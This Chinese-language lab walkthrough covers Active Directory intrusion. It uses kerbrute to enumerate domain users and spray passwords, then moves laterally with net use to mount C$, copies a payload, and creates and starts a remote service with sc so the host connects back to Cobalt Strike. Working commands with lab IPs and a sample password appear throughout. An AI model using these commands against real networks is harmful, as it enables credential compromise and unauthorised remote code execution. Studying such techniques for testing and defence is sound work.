内网渗透-横向移动-密码喷洒攻击和域内用(kerbrute使用)

域内用户枚举攻击原理

正常域用户登录主机,我们可以通过 "net user /domain"来列举出域内的用户。但是当我们用非域用户进行登录时,是不能使用 "net user /domain"这条命令的。或者当主机不在域内但是能与域控通信时,以上两种情况我们可以通过以下方法对域内用户进行枚举。

Kerberos本身是一种基于身份认证的协议,在 Kerberos 协议认证的 第一阶段AS-REQ ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击。在AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样,所以,根据AS的返回包来对域用户进行枚举

实验目标:

把非域内主机横向到域内主机

实验步骤

1.上传kerbrute.exe工具和密码字典

2.使用kerbrute.exe工具爆破域内用户名

kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt

shell C:\Users\31979\Desktop\kerbrute.exe userenum --dc 192.168.113.152 -d test.com C:\Users\31979\Desktop\user.txt

找到jack和krbuser

3.密码喷洒攻击找到用户密码

密码喷洒攻击原理

在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回KRB5KDC_ERP_PREAUTH_FAILED

在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题

kerbrute.exe passwordspray -d 域名 用户字典 密码

shell C:\Users\31979\Desktop\kerbrute.exe passwordspray -d test.com C:\Users\31979\Desktop\user.txt qax@123

成功找到这两个用户的密码,那我们在这个域中,就可以直接登录他们的机器了

4.得到用户密码后,让该主机在cs上线

先用 net use 挂载 IPC$ 授权,再 copy

shell net use \\192.168.113.154\C$ /user:krbuser qax@123

shell copy 123.exe \\192.168.113.154\C$\

配合系统服务横向移动

sc \\192.168.113.154 create test binpath= "cmd.exe /c c:\123.exe"

sc \\192.168.113.154 start test

成功上线

删除服务

sc \\192.168.17.138 delete test

相关推荐
向上的车轮12 分钟前
GitHub Actions 自动化运维实战:Java + TypeScript 全栈项目 CI/CD 至阿里云
运维·自动化·github
重庆小透明14 分钟前
深入探寻微服务【第三篇微服务的组件】
运维·微服务·架构
哎呦,帅小伙哦18 分钟前
Linux 系统监控核心:/proc/stat 文件全解析
linux·服务器
智脑API34 分钟前
Codex config.toml check_for_update_on_startup 怎么关闭?离线环境与版本提醒排查
运维·服务器·前端
2401_868534789 小时前
数仓开发落地手册
linux·运维
正在走向自律11 小时前
使用atop工具监控Linux系统指标
linux·运维·php·实时监控·atop分析内存
珠***格11 小时前
双碳目标下:四可装置如何助力光伏消纳与碳数据上报
网络·人工智能·分布式·安全·边缘计算
mounter62512 小时前
绕过主机:通过 Devmem TCP 运行 RDMA 应用
网络·网络协议·tcp/ip·rdma·devmem
yyy(十一月限定版)12 小时前
017【入门】最小栈
linux·运维·服务器
我星期八休息13 小时前
网络编程—网络层
开发语言·前端·网络·人工智能·智能路由器